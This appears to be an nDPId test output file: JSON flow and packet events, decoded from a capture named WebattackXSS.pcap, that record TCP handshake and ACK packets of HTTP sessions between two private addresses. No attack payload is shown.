+00432{"flow_id":597,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8494,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347990,"pkt_ts_usec":894920,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UVRAAD4GdISsEAABwKgKMofOAFAxwJtCAjdU1YARAOXi6gAAAQEICgE8zykD5puH"} +00433{"flow_id":597,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8495,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347990,"pkt_ts_usec":895045,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA09EhAAEAGz4\/AqAoyrBAAAQBQh84CN1TVMcCbQ4ARAOPd1QAAAQEICgPmoJ0BPM8p"} +00432{"flow_id":597,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8496,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347990,"pkt_ts_usec":895783,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UVVAAD4GdIOsEAABwKgKMofOAFAxwJtDAjdU1oAQAOXd0wAAAQEICgE8zykD5qCd"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8500,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":600,"flow_packet_id":1,"flow_first_seen":1499347992139,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34832,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":600,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8500,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347992,"pkt_ts_usec":139610,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA866dAAD4G2iisEAABwKgKMogQAFBfGDvHAAAAAKACchBqJwAAAgQFtAQCCAoBPNBgAAAAAAEDAwc="} +00444{"flow_id":600,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8501,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347992,"pkt_ts_usec":139764,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiBBHAQA0Xxg7yKAScSB+FgAAAgQFtAQCCAoD5qHUATzQYAEDAwc="} +00432{"flow_id":600,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8502,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347992,"pkt_ts_usec":140521,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA066hAAD4G2i+sEAABwKgKMogQAFBfGDvIRwEANYAQAOUdHgAAAQEICgE80GAD5qHU"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8509,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":601,"flow_packet_id":1,"flow_first_seen":1499347993411,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34846,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":601,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8509,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347993,"pkt_ts_usec":411391,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8wWNAAD4GBG2sEAABwKgKMogeAFD5yRD9AAAAAKACchD48wAAAgQFtAQCCAoBPNGeAAAAAAEDAwc="} +00445{"flow_id":601,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8510,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347993,"pkt_ts_usec":411484,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiB6gRZIr+ckQ\/qAScSAgaQAAAgQFtAQCCAoD5qMSATzRngEDAwc="} +00433{"flow_id":601,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8511,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347993,"pkt_ts_usec":412286,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wWRAAD4GBHSsEAABwKgKMogeAFD5yRD+oEWSLIAQAOW\/cAAAAQEICgE80Z4D5qMS"} +00433{"flow_id":598,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8515,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347993,"pkt_ts_usec":895959,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aCVAAD4GXbOsEAABwKgKMofoAFBt56StB\/iBGYARAOVlzwAAAQEICgE80hcD5p4D"} +00432{"flow_id":598,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8516,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347993,"pkt_ts_usec":896144,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0IpJAAEAGoUbAqAoyrBAAAQBQh+gH+IEZbeekroARAONgSAAAAQEICgPmo4sBPNIX"} +00433{"flow_id":598,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8517,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347993,"pkt_ts_usec":896723,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aCZAAD4GXbKsEAABwKgKMofoAFBt56SuB\/iBGoAQAOVgRgAAAQEICgE80hcD5qOL"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8521,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":602,"flow_packet_id":1,"flow_first_seen":1499347994680,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34860,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":602,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8521,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347994,"pkt_ts_usec":680838,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8eXlAAD4GTFesEAABwKgKMogsAFCPtauiAAAAAKACchDHFwAAAgQFtAQCCAoBPNLbAAAAAAEDAwc="} +00444{"flow_id":602,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8522,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347994,"pkt_ts_usec":680963,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiCwnn9QNj7Wro6AScSAkFAAAAgQFtAQCCAoD5qRPATzS2wEDAwc="} +00433{"flow_id":602,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8523,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347994,"pkt_ts_usec":681706,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eXpAAD4GTF6sEAABwKgKMogsAFCPtaujJ5\/UDoAQAOXDGwAAAQEICgE80tsD5qRP"} +00433{"flow_id":599,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8527,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347994,"pkt_ts_usec":896085,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0S9JAAD4GegasEAABwKgKMof2AFDafYYDux2U\/IARAOVOjwAAAQEICgE80xED5p9G"} +00434{"flow_id":599,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8528,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347994,"pkt_ts_usec":896303,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0MHlAAEAGk1\/AqAoyrBAAAQBQh\/a7HZT82n2GBIARAONJUQAAAQEICgPmpIUBPNMR"} +00433{"flow_id":599,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8529,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347994,"pkt_ts_usec":896849,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0S9NAAD4GegWsEAABwKgKMof2AFDafYYEux2U\/YAQAOVJTwAAAQEICgE80xED5qSF"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8539,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":603,"flow_packet_id":1,"flow_first_seen":1499347997344,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34886,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":603,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8539,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347997,"pkt_ts_usec":344122,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8nDhAAD4GKZisEAABwKgKMohGAFAyaklNAAAAAKACchCEBAAAAgQFtAQCCAoBPNV1AAAAAAEDAwc="} +00444{"flow_id":603,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8540,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347997,"pkt_ts_usec":344232,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiEaQGXl+MmpJTqAScSDQewAAAgQFtAQCCAoD5qbpATzVdQEDAwc="} +00432{"flow_id":603,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8541,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347997,"pkt_ts_usec":345017,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nDlAAD4GKZ+sEAABwKgKMohGAFAyaklOkBl5f4AQAOVvgwAAAQEICgE81XUD5qbp"} +00432{"flow_id":600,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8545,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347997,"pkt_ts_usec":897375,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA066lAAD4G2i6sEAABwKgKMogQAFBfGDvIRwEANYARAOUXfgAAAQEICgE81f8D5qHU"} +00433{"flow_id":600,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8546,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347997,"pkt_ts_usec":897741,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0p0ZAAEAGHJLAqAoyrBAAAQBQiBBHAQA1Xxg7yYARAOMR4AAAAQEICgPmp3MBPNX\/"} +00432{"flow_id":600,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8547,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347997,"pkt_ts_usec":898403,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA066pAAD4G2i2sEAABwKgKMogQAFBfGDvJRwEANoAQAOUR3QAAAQEICgE81gAD5qdz"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8551,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":604,"flow_packet_id":1,"flow_first_seen":1499347998605,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34900,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":604,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8551,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347998,"pkt_ts_usec":605791,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8MQxAAD4GlMSsEAABwKgKMohUAFBMT+e8AAAAAKACchDKZgAAAgQFtAQCCAoBPNawAAAAAAEDAwc="} +00445{"flow_id":604,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8552,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347998,"pkt_ts_usec":605912,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiFT+qOY2TE\/nvaAScSA6WwAAAgQFtAQCCAoD5qgkATzWsAEDAwc="} +00433{"flow_id":604,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8553,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347998,"pkt_ts_usec":606461,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MQ1AAD4GlMusEAABwKgKMohUAFBMT+e9\/qjmN4AQAOXZYQAAAQEICgE81rED5qgk"} +00432{"flow_id":601,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8557,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347998,"pkt_ts_usec":897471,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wWVAAD4GBHOsEAABwKgKMogeAFD5yRD+oEWSLIARAOW6FAAAAQEICgE81vkD5qMS"} +00433{"flow_id":601,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8558,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347998,"pkt_ts_usec":897684,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0OkFAAEAGiZfAqAoyrBAAAQBQiB6gRZIs+ckQ\/4ARAOO0ugAAAQEICgPmqG0BPNb5"} +00433{"flow_id":601,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8559,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347998,"pkt_ts_usec":898446,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wWZAAD4GBHKsEAABwKgKMogeAFD5yRD\/oEWSLYAQAOW0twAAAQEICgE81voD5qht"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8560,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":562,"flow_packet_id":6,"flow_first_seen":1499347926328,"flow_last_seen":1499347931880,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34144,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8560,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":562,"flow_packet_id":6,"flow_first_seen":1499347926328,"flow_last_seen":1499347931880,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34144,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8560,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":563,"flow_packet_id":6,"flow_first_seen":1499347927657,"flow_last_seen":1499347932881,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34158,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8560,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":563,"flow_packet_id":6,"flow_first_seen":1499347927657,"flow_last_seen":1499347932881,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34158,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8560,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":564,"flow_packet_id":6,"flow_first_seen":1499347930265,"flow_last_seen":1499347935880,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34184,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8560,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":564,"flow_packet_id":6,"flow_first_seen":1499347930265,"flow_last_seen":1499347935880,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34184,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8560,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":565,"flow_packet_id":6,"flow_first_seen":1499347931529,"flow_last_seen":1499347936881,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34198,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8560,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":565,"flow_packet_id":6,"flow_first_seen":1499347931529,"flow_last_seen":1499347936881,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34198,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":602,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8566,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347999,"pkt_ts_usec":897487,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eXtAAD4GTF2sEAABwKgKMogsAFCPtaujJ5\/UDoARAOW+AgAAAQEICgE81\/MD5qRP"} +00433{"flow_id":602,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8567,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347999,"pkt_ts_usec":897605,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0fWlAAEAGRm\/AqAoyrBAAAQBQiCwnn9QOj7WrpIARAOO46wAAAQEICgPmqWcBPNfz"} +00434{"flow_id":602,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8568,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347999,"pkt_ts_usec":898145,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eXxAAD4GTFysEAABwKgKMogsAFCPtaukJ5\/UD4AQAOW46QAAAQEICgE81\/MD5qln"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8572,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":605,"flow_packet_id":1,"flow_first_seen":1499348001148,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34926,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":605,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8572,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348001,"pkt_ts_usec":148029,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8pkpAAD4GH4asEAABwKgKMohuAFDUG39mAAAAAKACchCoWgAAAgQFtAQCCAoBPNksAAAAAAEDAwc="} +00445{"flow_id":605,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8573,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348001,"pkt_ts_usec":148157,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiG4I9+h41Bt\/Z6AScSAJQwAAAgQFtAQCCAoD5qqgATzZLAEDAwc="} +00432{"flow_id":605,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8574,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348001,"pkt_ts_usec":148896,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0pktAAD4GH42sEAABwKgKMohuAFDUG39nCPfoeYAQAOWoSgAAAQEICgE82SwD5qqg"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8581,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":606,"flow_packet_id":1,"flow_first_seen":1499348002450,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34940,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":606,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8581,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348002,"pkt_ts_usec":450018,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA80ydAAD4G8qisEAABwKgKMoh8AFCQawlWAAAAAKACchBgyAAAAgQFtAQCCAoBPNpxAAAAAAEDAwc="} 